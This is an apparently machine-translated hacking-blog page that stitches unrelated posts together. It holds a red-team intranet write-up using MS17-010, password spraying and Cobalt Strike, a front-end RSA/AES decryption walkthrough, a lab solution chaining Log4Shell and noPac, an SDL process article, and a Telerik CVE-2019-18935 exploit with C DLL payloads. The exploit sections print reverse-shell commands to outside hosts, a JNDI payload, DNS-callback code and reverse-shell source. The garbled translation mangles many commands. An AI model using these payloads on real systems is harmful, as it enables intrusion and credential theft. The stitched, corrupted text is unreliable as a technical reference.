Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863108846

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

序文

攻撃的で防御的なドリル中に、チームは最初にウェブシェルを取得し、次にコバルトストライクへの許可をバウンドして、イントラネットの浸透を促進します。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】現在のマシンがパブリックネットワークサーバーであることを発見することにより、パブリックネットワークIP:xxx.xxx.xxx.16のみが

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】 ARPキャッシュを表示することにより、現在いくつかのパブリックネットワークマシンがあることがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

これらのIPSを照会することにより、それは「ネットワーク」であることがわかり、NBTSCANを介して、現在のCセグメントには生存するホストがあることがわかります:(現在のCセグメントマシンにはドメインがあると判断されますが、確かではありません)

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

内部イントラネットマシンの現在の最初の層のCセグメントを水平に移動

攻撃的で防御的なドリルであるため、ポイントが多いほど良いです。ここでは他の問題を考慮していません。現在のマシンを取得した後、私は平文パスワードをキャッチしました:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】ただし、このパスワードを使用してMSFを使用してパスワードを介してCセグメントをスプレーすると、ホストが正常に水平になっていないことがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

この瞬間、私は再びスキャンしてMS17010があるかどうかを確認しました:(一般的に言えば、この種の「Xiang.com」には基本的にいくつかの永遠の青があるので、スキャンするだけです)

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

3つのユニット92、151、および200がMS17010に存在することがわかりました。その後、このユニットを92と呼びます。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】その後、MSFとCSがリンクされ、MSFシェルを再度CSにポップし、許可を維持しました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

現時点では、これら2つのスプリングボードマシンを使用するだけで十分です。他の2つのMS17010と戦う必要はありません。次に、現在のCセグメントに関する情報を収集し、Webアセットをスキャンして生き残り、多数のWebアセットを見つけました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】手動分析により、SQL注入が見つかりました、そしてそれはDBAの許可でした:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】その後、管理者ユーザーが追加されてから3389をオンにしました(Nortonのため、定期的な無料キルのために時間がないので、主にポイントを獲得したので、サーバーに直接ログインしました)

そして、私は靴下を通して直接接続することはできません。これは制限のように感じられます。後で、MSTSC /管理者を使用することでログインすることができることがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】この時点で、私は92このマシンをスプリングボードとして使用して、71デスクトップにリモートでログインしました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】管理者のデスクトップがクローン化されました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】この時点で、以前に追加されたアカウントにログインして、リモートデスクトップに移動します。管理者のデスクトップです:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】一連の情報収集とパスワードコレクションを通じて、MSSQLおよびすべてのサイドステーションの許可を取得しました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】 一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】収集されたパスワードを介して、セグメントCのパスワードを正常にスプレーし続けます。 MSSQL:xxx.xxx.xxx.239

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

次に、コマンドを実行するためにXP_CMDSHELLに直接電話して、許可がまだ非常に大きいことがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

次に、bitsadminを使用してオンラインでCSに行きます。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】この時点で、これら3つのマシンの許可:16、92、および239は取得されましたが、イントラネットはまだ発見されておらず、この時点でボトルネックに巻き込まれました。

この点に到達した後、私は水平に移動することは不可能であることがわかりました。他のウェブをヒットするために0日を使用したくありません。私は振り向いてMS17010を使用して200人をヒットしました:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】その後、同様に、シェルがCSにポップされ、ユーザーが追加され、リモートデスクトップグループが追加されました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】その後、ログインはログインが失敗したことを発見しました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】この時点で、MSTSC/管理者はバイパスし、ターゲットリモートデスクトップに正常にログインできます。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

管理者のデスクトップは同じようにクローン化されました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】 MSTSCログインレコードなど、多くの貴重なものを見つけました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】 NAVICATデータベース資格情報を取得します。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】とXshellには多くのSSHがあることがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

すべてのLinuxホストをログインできます。この時点で、SharpDecryptPWDを使用してパスワードを取得するだけですが、問題が見つかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】このことを使用してパスワードを後で確認する:(これらのものを使用したくなかったので、パスワードを1つずつチェックするのは面倒すぎます)

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

10個のイントラネットを備えたマシンがいくつかあることがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

既存のパスワードを使用して、LinuxホストをセグメントCで水平にスプレーします。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】その後、いくつかのシェルをMSFにポップしました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】これまでのところ、このパブリックネットワークのCセグメントは基本的に浸透しており、多数のコアデータベース、スイッチ、およびWebサーバーが削除されています。次のステップは、10個のイントラネットのイントラネット浸透です。

イントラネットイントラネット10セグメントの2番目の層からのイントラネット浸透

ルートパスワードを取得したため、10.10.10.1/16のBセクションを直接スキャンしました。資産の大きな波があります。ここではスクリーンショットを撮りません。それらは何百もあり、私はesxiがあることを発見しました:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

アクセス制御システムを取得しました:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】は、特別な手段で水平に10個のセグメントの2つのSSHを倒し、イントラネットの3番目の層は192のセグメントとDocker環境であることがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

10セグメントにESXIがあるため、脆弱性を直接使用してESXIクラウドプラットフォームを取得し、すべてのマシンが非難されました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】この時点で、10番目のセクションは基本的に侵入されており、次のステップは192のイントラネットに浸透することです。

イントラネットセグメントの3番目の層からのイントラネット浸透192

通常のFSCANを介して192段落をスキャンしただけで、192の資産も非常に脂肪であることがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

その後、MS17010の2つの脆弱性が見つかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

今、私たちは関係を整理しました、そして、現在の環境は次のとおりです。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

元のリンク:https://MP.Weixin.QQ.com/s?__biz=mzkxndewmda4mw==mid=2247491421Idx=1Sn=769D715D057112EB4EE1EBB8312E37KKSM241F6051F6055 83F946625F2689EC6214E9D47A61C6639999D2CD2A62C0DE464CENE=123KEY=F3D 6282F44B990E0F2527AF4DB8E088F25F3E43D0ABAF5F845FF52E14965E4FE188C890

つまり、最後の復号化の後、開発チームはあきらめませんでした。数ヶ月後、返品パッケージも暗号化されました。圧縮および難読化されたフロントエンドJS

mt2qoorxxec3257.png

観察によると、最初はサーバーが同じRSA+AES暗号化を実行し、RSA暗号化された後にキーとIVを送信し、AESによってAESによって暗号化されたデータフィールドを送信することも当初考えられています。しかし、私たちにとって、これは実際にシステムへのs辱を増し、システムのセキュリティを減らします。これにより、フロントエンドがRSA+AESを復号化できるため、RSA秘密キーは間違いなくフロントエンドに存在します!

操作を開始1。古いルールでencryptivフィールドを検索し、疑わしい復号化された部分を見つけ、ブレークポイントを押してログインリクエストを送信します

ke1cz1ztqa53258.png

バープはパケットをつかみ、パケットを返し、データフィールドを抽出します

ql5trj32zlb3259.png

ブレークポイントでRSAによって復号化されたAEのキーとIVの値を抽出します

5tkck4galmp3260.png

nとaをフロントエンドのブレークポイントからキーとして、ivをGuigui JSデバッグツールに入れて、復号化を試みます。復号化は成功しているため、このアイデアに問題はありません。つまり、ここでのコードは、サーバーからencryptivとencryptkeyを元のキーとAEのオフセットに復号化します。

wdgotjhmbqp3261.png

2。復号化コードによると、RSA秘密キー(p.D)を見つけ、ディスプレイは不完全です。 Ctrl+Fをコピーして、完全なRSA秘密キーを検索します。

10akwvpqcqf3262.png

jsencrypt.jsスクリプトを使用して、エラーを解読して見つけます。その理由は、元のJSがブラウザのウィンドウとナビゲーターメソッドを呼び出すからです。これら2つは、ブラウザウィンドウ情報とマウスの位置情報を取得して乱数を生成するために使用されます

grr51nyoour3263.png

335cqcgs1vk3264.png

検索を通じて、誰かが最初に元のJSENCRYPTを変更し、ウィンドウとナビゲーターの方法を削除して使用したことがわかりました。投稿アドレス:https://bbs.125.la/forum.php?mod=viewthreadtid=14113049

dbwzpfgekl53265.png

Guigui JSを使用したデバッグ

xymuu5ofvmi3266.png

3.最後のステップは、自動暗号化と復号化スクリプトの書き込みを改善することです。古いルールは、依然としてmitmweb+burpの組み合わせです。ブラウザは最初にげっぷをし、次にPythonスクリプトを実行するためにMITMWEBに二次プロキシを燃やし、次にサーバーに送信します。一般的なアイデアは次のとおりです。

xvnrr3jsubi3268.png

実際、私は90%が完成し、残りの10%が自動化されたスクリプトを書くために書かれていると思いました。その結果、JSの復号化への呼び出しが成功しなかった理由のために、この10%が数日かかりました。その後、それは解決され、一般的に言えば、AESアルゴリズムJS、およびPythonと関係があります。この大きなピットについて詳細に説明することができます。今日この部分をスキップしてください。

最後に、最後のスクリプトで、フロントエンドの復号化をキャンセルするコードとMITMWEBへのコードをキャンセルして、応答を復号化するのに役立ちました。

1049983-20230227143700492-387396060.jpg

デバッグは成功し、げっぷは快適で、プロセス全体が明確でした。

1049983-20230227143701198-922955987.jpg

ちなみに、ハァッ?検証コードハハハでフロントエンドに戻るリスクの高い脆弱性を見つけました。しかし、私は親切です。この暗号化と復号化はしばらく解決されないので、今は金曜日ですので、それを開発と呼び、来週の月曜日に脆弱性を修正しましょう。次回まで特定の新しいコードパーツを離れましょう。この大きなピットを復号化するときは、AESと一緒に話しましょう。

ネットワークトポロジー

1049983-20230224112439293-1629704471.png

情報収集

侵入テストの最初のステップはもちろん情報収集です

IP192.168.81.151を取得し、最初にNMAPを使用して通常のTCPポートをスキャンします。

NMAP -V -PN -T3 -SV -N -ST-OPEN -P 22,1222,222,222345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,500 0,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88,38080,38080. 192.168.81.151

2つのポート22,38080が開いていることがわかりました

1049983-20230224112440302-161893427.png

NMAPを通じて、これはUbuntuであり、22はSSHであり、ポート38080は不明であることがわかります。アクセスしてみましょう。

1049983-20230224112441015-1606254674.png

そこで、最新の新しい脆弱性CVE-2021-44228を試して、dnslogを取得できるかどうかを確認しました

1049983-20230224112441754-989805708.png

CVE-2021-44228の脆弱性が見つかりました。シェルを取得してみてください

CVE-2021-44228利用

VPS Kali(192.168.81.133)でLDAPを最初に有効にします:

git clone 3https://github.com/black9/log4shell_jndiexploit.git

Java -jar jndiexploit -1.2 -snapshot.jar -i 192.168.81.133

1049983-20230224112442401-1799288793.png

その後、Kaliの9999ポートで聞いてください。

1049983-20230224112443129-1120562669.png

リバウンドシェルにはtomcatbypassを使用します

1049983-20230224112443857-1816671400.png

/bin/bash -i /dev/tcp/192.168.210.23/9999 01 -Bounce Shell

リバウンドシェルコマンドには、base64エンコーディングが必要です

1049983-20230224112444657-150046970.jpg

BPパケットキャプチャ、パラメーター送信の投稿への変更、ペイロードの構築

ペイロード=$ {jndi3:ldap3360 //192.168.81.1:1389/tomcatbypass/command/base64/ymfzaCatasa+jiavzgv2l3rjcc8xotiumty4ljgxljezmy85otk5ida+jje+

最後に、EXPを使用してシェルを正常にリバウンドします。 base64エンコードを実行するために2回Encodingを実行する必要があります

1049983-20230224112445349-1880270644.png

1049983-20230224112446035-2093462483.png

私が手に入れたシェルはDockerコンテナであることがわかりました

私は逃げる方法を見つけられず、最終的に/root /ディレクトリでフラグファイルを見つけました。

1049983-20230224112446659-1582184670.png

flag {redteam.lab-1}おめでとうございます、あなたはこの: Saul Saul123を手に入れました

フラグがあり、アカウントのパスワードに似たものがありました

情報収集中、NMAPはターゲットホストにスキャンして22SSHサービスを開きますので、SSHになる可能性のあるアカウントパスワードについて考えてください

イントラネット情報コレクション

前のセクションで取得したアカウントとパスワードを介してUbuntuシステムにログイン

1049983-20230224112447319-361521344.png

現在のマシンには2つのネットワークカードがあり、1つは外部ネットワークをリンクするために使用され、もう1つのENS38がイントラネットの通信に使用されていることがわかります。

1049983-20230224112448090-1276995160.png

実際のイントラネットの浸透:イントラネットの浸透がLinux環境にある場合は、Linuxが完全に構築されているため、すべてのバッシュとPythonizationを形成してみてください。外部ツールにあまり頼らないようにしてください。

したがって、ENS38のCセグメントネットワークをpingするには、for loopを使用します

10.0.1。{1.254}のIの場合ping -c 3 -w 3 $ i /dev /nullの場合は行います。次に、echo $はターゲットを見つけます。 fi;終わり

1049983-20230224112449171-1244750120.png

イントラネットに別のマシン10.0.1.7があることがわかりました

または、スキャン情報ツールを使用して、イントラネット情報を収集します

KaliでPythonを使用してHTTPDをすばやく構築します

在这里插入图片描述

ターゲットマシンのダウンロードツールと付与権限

在这里插入图片描述

イントラネット情報を収集します

在这里插入图片描述

10.0.1.7は生き残ることがわかっており、MS17-010で存在していました

その後、便利なため、FRPを使用して現在のマシンのトラフィックをプロキシすることにしました。

frps.iniを構成します

1049983-20230224112453151-2127359350.png

frpc.iniを構成します

1049983-20230224112453875-703136445.png

次に、Metasploitを使用してSocks5をセットアップして、イントラネットに関する詳細な情報を収集します。

setg Proxies socks5:192.168.81.13:8888setg ReverseAllowProxy true

1049983-20230224112454590-999174959.png

SMBバージョン検出モジュールを使用して、ターゲットをスキャンします。

補助/スキャナー/SMB/SMB_Versionを使用します

1049983-20230224112455381-1095096075.png

ターゲットバージョン10.0.1.7はWindows 7であり、ドメインRedTeamが存在することがわかりました。

Windows7であるため、MS17-010の脆弱性がある可能性があります

MS17-010利用

前のセクションを通じて、10.0.1.7がWin7であることがわかり、その後、検出を実施します。

1049983-20230224112456243-449342750.png

検出を通じて、このマシンにMS17-010の脆弱性があることがわかりました。

ターゲットは、イントラネットが必ずしもネットワークを離れるわけではないため、TCP反射接続を使用できません。フォワードbind_tcpにペイロードするように設定します

1049983-20230224112457059-1616668651.png

1049983-20230224112458087-1589219523.png

win7アクセス許可を直接取得し、mimikatazをロードしてパスワードを取得します

ユーザー名ドメインパスワードルートレッドチームRED12345METERPRETER LOADMIMIKATZロードツール

MeterPreter Creds_Allはクレジットをリストします

コマンドは、メモリからパスワードを取得することであり、射撃範囲の元の状態が一時停止され、復元されることに注意してください。再起動する場合は、Win7に1回ログインする必要があります。

1049983-20230224112459386-400238020.png

この時点で、ドメインユーザーのアカウントを取得しました。

イントラネット武器CVE-2021-42287、CVE-2021-42278

現在のイントラネットに関する情報を収集した後、Win7にはイントラネットネットワークカードもあることがわかりました。

1049983-20230224112500181-544535760.png

1049983-20230224112500885-1700250183.png

ドメインコントロールからドメインコントロールへのIPアドレスは10.0.0.12です

1049983-20230224112501591-641415294.png

2つのドメインの脆弱性が最近公開されているため、CVE-2021-42287およびCVE-2021-42278は、それらを直接搾取しようとします。

特定の原則は、ドメインにドメインコントロール名DCがある場合(ドメインコントロールに対応するマシンユーザーはDC)、攻撃者は脆弱性CVE-2021-42287を使用してマシンユーザーSaulgoodmanを作成し、MachineユーザーのSamacountnameをDCに変更します。次に、DCを使用してTGT請求書を申請します。次に、DC SamacCountNameをSamacCountNameに変更します。現時点では、KDCはドメインにDCとこのユーザーが存在しないことを判断し、DCを自動的に検索します(DCはドメインに既にドメインに既に制御されたDCのSamacCountNameです)。攻撃者は、S4U2Selfに適用したばかりのTGTを使用し、ドメイン内のドメインマネージャーをシミュレートしてドメイン制御DCのSTチケットを要求し、最後にドメインコントローラーDCの権限を取得します。

したがって、MSFを使用してSocks5を追加します

1049983-20230224112502321-1486248533.png

ルートを追加します

Autoroute -S 10.0.0.7/24を実行します

1049983-20230224112503034-1970568292.png

次に、ローカルプロキシを追加するだけです

1049983-20230224112503650-1212863661.png

ツールを使用してアドレスをダウンロードします

https://github.com/wazehell/sam-the-admin

https://github.com/ridter/nopac

https://github.com/waterrr/nopac

次に、スクリプトを使用します

proxychains python3 sam_the_admin.py 'redteam.lab/root:red12345' -dc -ip 10.0.0.12 -shell proxychains python nopac.py redteam.lab/root3:'red12345 '-dc -0.0.0.0.0.0.0.0.0.0.0.0.0.0.0. -use -ldapproxychains python3 exp.py 'redteam/root:red12345' -dc -ip 10.0.0.12 -shell

1049983-20230224112504432-1322113048.png

最後に、私は最終フラグを取得しました。

1049983-20230224112505200-132523298.png

ターゲットマシン環境:リンク: https://pan.baidu.com/s/18pxdc2ff_zdsxonpsug1fyg抽出コード: 8dcyオリジナルリンク: http://WWW.KRYST4L.CN/2021/12/22/%E4%BB%8E%E5%A4%96%E7%BD%91-LOG4J2-RCE-%A5%86%8D%E5%88%B0%E5%86歳%E5%BC%B9%E7%BB%84%E5%90%88%E6%8B%B3%E6%BC%8F%E6%E3%9E-CVE-2021-42287%

1。序文

一般的に、安全性は運用および保守部門に属します。前の会社の運用およびメンテナンスディレクターと、毎日の安全作業をDevOpsに統合できるかどうかについて話しました。まもなく、私はさまざまな理由で去りました。 5月、彼は2018年にサードパーティの支払い会社に入社し、年の前半にさまざまな検査に費やしました。規制状況は深刻であり、主要な指導者は安全性(主に監督)の重要性を持ち、2019年のすべての部門の目標は安全に関連しています。支払い会社はさまざまな規制機関からの検査に直面する必要があるため、一部のセキュリティは比較的うまく行われています。ほぼ1年の会社に精通した後、アプリケーションのセキュリティが比較的弱いことがわかっています。業界のより良いソリューションのこの部分はSDLです。さまざまなメーカーと通信した後、私は会社で少しずつ宣伝することにしました。

1049983-20230223005505851-1935601238.png

上の写真は、SDLの標準バージョンを示しています。操作とメンテナンスはDevOpsシステムを採用しているため、テストでは機能テストにも自動化を使用します。バージョンの反復サイクルは比較的速く、セキュリティスタッフは不十分であり、SDLの脅威モデリングも混乱しています。プロセス全体に安全が追加された場合、それは配達時間に深刻な影響を与えます。この場合、業界のいくつかの慣行が調査され、SDLを簡素化することを決定しました。 SDLの簡素化されたバージョンは次のとおりです。

1049983-20230223005506900-1241560024.png

2。 Lite SDL実装練習

安全トレーニング

コアSDLの1つはセキュリティトレーニングです。そのため、セキュリティトレーニングの観点から、セキュリティコーディング、セキュリティ認識、セキュリティ知識ベース、セキュリティSDKを行いました。

安全コード:

Javaセキュリティコーディング仕様、製品セキュリティ設計および開発セキュリティの仕様がオンラインで、会社の実際のビジネスと組み合わせて、バージョンをリリースしました。1049983-20230223005507712-1799677019.png

さまざまな規制機関にはトレーニングの要件があるため、安全トレーニングを導入し、開発と新しい従業員の採用のために定期的にトレーニングを受けています。1049983-20230223005508666-156154663.png

安全性認識:

同社は企業のWECHAT公式アカウントを持っており、ほとんどの従業員はそれに従い、公式アカウントで宣伝しています。1049983-20230223005511575-1861001679.png

プロモーションが完了したら、小さな贈り物をください

1049983-20230223005512954-1257222268.png

スタッフが不十分であるため、機能テストと安全性テストは本質的に共通しています。テスト部門も比較的協力的であり、テスター向けの安全性テスト関連トレーニングを実施していますが、効果はあまり理想的ではありません。

1049983-20230223005513820-1671772662.png

安全知識ベース:

脆弱性修復プロセス中、多くの開発は原則と修復ソリューションを理解していないため、セキュリティ知識ベースを確立し、関連するソリューションをチェックするためにセキュリティ知識ベースに進みました。見つからない場合は、セキュリティ担当者と通信し、セキュリティ担当者は常に知識ベースを更新して閉ループを形成します。

1049983-20230223005514543-574197297.png

セキュリティSDK

会社には建築部門があるため、開発フレームワークは基本的に建築部門によって提供されています。アーキテクチャ部門と共通の脆弱性を伝えた後、SDKを使用して建築に脆弱性修復方法を実装させます。開発には、JARパッケージをインポートして構成ファイルに構成する必要があります。また、多くの落とし穴があり、ゆっくりと最適化する必要があります。

1049983-20230223005515341-1061280096.png

3。安全要件設計

会社にはプロジェクト承認システムがあり、すべてのプロジェクトの承認はシステムを通じて確立する必要があります。安全性は必須であり、レビュー会議の安全性も参加する必要があります。

1049983-20230223005516070-1183240391.png

現時点では、プロジェクトマネージャーは基本的にセキュリティ担当者に連絡して通信し、VIP製品の安全設計仕様をコピーし、要件文書とプロジェクトマネージャーに基づいてセキュリティニーズを決定します。

1049983-20230223005518167-302814842.png

セキュリティ要件を確認した後、必要に応じて要件ドキュメントに追加され、セキュリティテスト時間を確認します。このプロセスは、新しいプロジェクト専用です。開始されたプロジェクトの要件は、このプロセスに従うことはありません。その後のセキュリティテストでは、プロジェクトのこの部分がどのように行われるかについて説明します。

1049983-20230223005519575-917103671.png

iv。開発、セキュリティテスト

セキュリティテストは、主にコード監査、脆弱性スキャン、および手動セキュリティテストに分割されています。これから派生した安全製品は、3つのカテゴリに分かれています。 DAST:Dynamic Application Security Test(WVS、AppScan)、SAST:Static Application Security Test(Fortify、RIPS)、IAST:Interactive Application Security Test(Seeker、Lijian)。これら3つの製品の詳細な紹介については、https://www.aqniu.com/learn/46910.htmlを参照してください。以下の図は、3つの製品のテスト結果の比較です。

1049983-20230223005520614-1980739689.png

これらのタイプの製品は自動化でき、DevOpsに継承できます。次に、これらのツールを開発テストフェーズに組み込みます。

IASTには多くの実装モードがあり、一般的なモードにはプロキシモード、VPN、トラフィックミラーリング、計装モードが含まれます。この記事では、2つの最も代表的なモード、プロキシモードと計装モードを紹介します。調査対象の製品の一部は以下の図に示されており、特定のテスト結果は発表されません。

1049983-20230223005521457-454737043.png

開発段階

いくつかの種類の製品を調査すると、Iastの計装モードを開発環境に直接配置できます。開発環境とテスト環境のコードの主な違いは、Application.yml構成ファイルです。そのため、このモードは事前に開発段階に配置できます。

開発がコードの書き込みを完了し、GitLabに送信して開発環境に展開してアプリケーションを開始すると、開発は機能が利用可能かどうかを確認する必要があり、現時点では脆弱性があるかどうかを検出できます。

同社は、テスト環境で牧場主を使用し、Iast JARパッケージをプロジェクトのGitLabに入れ、展開中にコードをローカルに引いて、DockerFileファイルを変更してJARパッケージをコンテナに追加します。

シェル/xxx.jar/home/app/xx/libを追加します

会社のプロジェクトは基本的にSpring-Bootを使用しているため、すべてのプロジェクトはstart.shスクリプトを通じてアプリケーションを開始します。 start.shとdockerfileをプロジェクトのgitlabに追加し、start.shスクリプトファイルを同時に変更する必要があります。

-javaagent: $ app_home/lib/xx.jar -jar $ app_home/app/*。jar - spring.profiles.active=dev $ app_home/logs/startup.log 21

テスト項目は次のとおりで、タイプミスは無視されます。

1049983-20230223005522132-529066295.png

開発および提出コードが展開されたら、通常の機能にアクセスすると、プラットフォームに脆弱性があるかどうかを確認できます。

1049983-20230223005522696-404919098.png

1049983-20230223005523433-204390000.png

1049983-20230223005524107-1209971798.png

一部の製品では、サードパーティのコンポーネントパッケージも検出されます。

1049983-20230223005524868-632493352.png

同社は港を使用して倉庫として画像をミラーリングしています。プロジェクトが展開された後、ミラーにパッケージ化され、港にアップロードされます。ハーバーには、ミラースキャン機能が付属しています。

1049983-20230223005525557-202407059.png

テストフェーズ

開発が完了した後、テスト段階に入ります。この段階では、静的コードスキャン、機能テスト、セキュリティテストを実施します。

静的コードスキャン

Static Code Scanningツールを使用して、コンパイル前にコードをスキャンし、セキュリティの問題を含む静的コードレベルでさまざまな問題を見つけます。いくつかのツールリスト:1049983-20230223005526258-2127755831.png

静的コードスキャンSonarqube統合を使用し、FindBugseCurity、合理化されたルールを使用し、継続的な建設プロセス中に静的コードバグと安全なスキャンを実行します。

1049983-20230223005526910-1086384454.png

静的コードをスキャンしている間、サードパーティの依存関係パッケージもスキャンできます。 OWSAPの依存関係チェックは、連続的な建設プロセスに統合できます。 IASTクラスの製品はこの機能をサポートしているため、紹介しません。

機能テスト

機能テストの観点から、同社のテスト部門は自動テストプラットフォームを実装しています。初期段階では、エージェント検出を使用しませんでした。最初は、オープンソースのGourdscan Plus OpenRaspを使用し、デフォルトのOpenRaspを使用して、非インターセプトモードと脆弱性レコード関数を有効にして、サーバーで返されない脆弱性を検出しました。

自動化プラットフォームでプロキシIPを構成するだけです。

OpenRasp脆弱性レコード

1049983-20230223005842123-671978983.png

その後、テストでは、汚れたデータスキャンが多すぎて効果があまり良くないことが報告されているため、この計画をあきらめました。 IASTの計装方法は開発段階で使用され、テスト環境ではエージェントも使用して、開発環境と同じ方法で問題を検出します。機能テストが完了した後。テスターは脆弱性をあまり理解していないため、指定されたプロセスは、テスターがプラットフォームにアクセスしてレポートとセキュリティ担当者を表示して、どの問題を修正する必要があるかを伝え、テストレポートに問題を記述することです。

安全テスト

テストフェーズ中にセキュリティがプロセス全体に追加されました。すべての要件の変更を完了する必要があり、機能テストが必要です。つまり、すべてのプロセスがセキュリティテストに合格しています。このようにして、セキュリティスタッフはそれほど十分ではありません。内部および外部サービスを区別する方法を使用して、介入するためにセキュリティ担当者が必要かどうかを判断することが決定されます。

1049983-20230223005902448-222221029.png

脆弱性管理

脆弱性管理は脆弱性管理システムを策定し、脆弱性は影響の程度に応じて評価されます。重大な脆弱性を起動する前に修正する必要があります。高、中、低リスクの脆弱性には小さな影響があり、スケジュールする必要があります。セキュリティ担当者は、脆弱性修理の状況を定期的に追跡します。

v。監視

支払い会社には一般的にセキュリティ機器があります。この部分は基本的に、デバイスのsyslogをログセンターに使用して視覚化し、対応するルールをカスタマイズしてアラームを達成します。

vi。結論

個人の知識と経験は、SDLシステムにあまりよく知られておらず、経験がないため、現在のレベルにしか到達できません。将来、プロセスを最適化して追加する場所がたくさんあります。良い提案がある場合は、お気軽にお気軽にお問い合わせください

出典:https://xz.aliyun.com/t/5656

いくつかの抜け穴が最近掘られました。繰り返されていますが、参照値があります。ここであなたと共有させてください。

抜け穴を繰り返すことはまだ非常に不快です。あなたがそれについて考えるとき、人生は決して満足のいくものではありません。抜け穴を繰り返すことは、失敗を意味するものではありません。最初に来てから来ることが重要であり、外観の順序が重要です。

1.特定のサイトRCEは、ドメイン名:https://***。*** :8089/をテストするために私を連れて行ってくれた司祭に感謝しているスコープ著者の司祭に感謝しない理由を無視します。

CVE-2017-11357 CVE-2019-18935 CVE-2017-9248脆弱性が存在します

脆弱性エクスプロイトダウンロードアドレス:

https://github.com/noperator/cve-2019-18935

https://github.com/noperator/cve-2019-18935.git

遅延11S:SLOIP 11S:

テストコード:テスト

复制代码#windows.hを含めます

#include stdio.h

bool winapi dllmain(hinstance hinstdll、dword fdwreason、lpvoid lpresived)

{

if(fdwreason==dll_process_attach)

//スリープ(10000); //数百万秒単位の時間間隔。

睡眠(11000);

trueを返します。

}

test.cはAMD642.dllファイル复制代码にコンパイルします

:python CVE -2019-18935.py -v 2017.1.228 -p Payloads \ amd642.dll -u https://**** :8089/telerik.web.ui.webresource.axd?Type=rau

1dvkm1mueqq3407.png

ybnfoe11scq3408.png

最初のステップは正常に確認することです。成功遅延は約11秒、元のリクエストは2秒です

テストコマンド実行:

复制代码#windows.hを含む

#include stdio.h

bool winapi dllmain(hinstance hinstdll、dword fdwreason、lpvoid lpresived)

{

if(fdwreason==dll_process_attach)

system( 'cmd.exe /c nslookup rsmwe.dnslog.cn');

System( 'cmd.exe /c nslookup 2pstpep28u6vl9qrw0lhjwsr9if83x.burpcollaborator.net');

trueを返します。

} test.c AMD642.dllファイルにコンパイル

复制代码

もう一度実行してDNSLOG:を表示します

ibhvziitl4v3411.png

直接リバウンドシェル、一般exp:

复制代码#winsock2.hを含む

#include stdio.h

#include windows.h

#pragmaコメント(lib、 'ws2_32')

#define host '{vps ip}'

#define port {port}

wsadata wsadata;

ソケットウィンソック;

ソケットソック;

struct sockaddr_in hax;

char aip_addr [16];

startupinfo ini_processo;

process_information processo_info;

//https://github.com/infoskirmish/window-tools/blob/master/simple%20reverse%20shell/shell.cからの適応

void reverseshell()

{

wsastartup(makeword(2、2)、wsadata);

winsock=wsasocket(af_inet、sock_stream、ipproto_tcp、null、0、0);

struct HOSTENT *host=gethostbyname(host);

strcpy(aip_addr、inet_ntoa( *((struct in_addr *)host-h_addr)));

hax.sin_family=af_inet;

hax.sin_port=htons(port);

hax.sin_addr.s_addr=inet_addr(aip_addr);

wsaconnect(winsock、(sockaddr*)hax、sizeof(hax)、null、null、null、null、null);

if(wsagetlasterror()==0){

memset(ini_processo、0、sizeof(ini_processo));

ini_processo.cb=sizeof(ini_processo);

ini_processo.dwflags=startf_usestdhandles;

ini_processo.hstdinput=ini_processo.hstdoutput=ini_processo.hstderror=(handle)winsock;

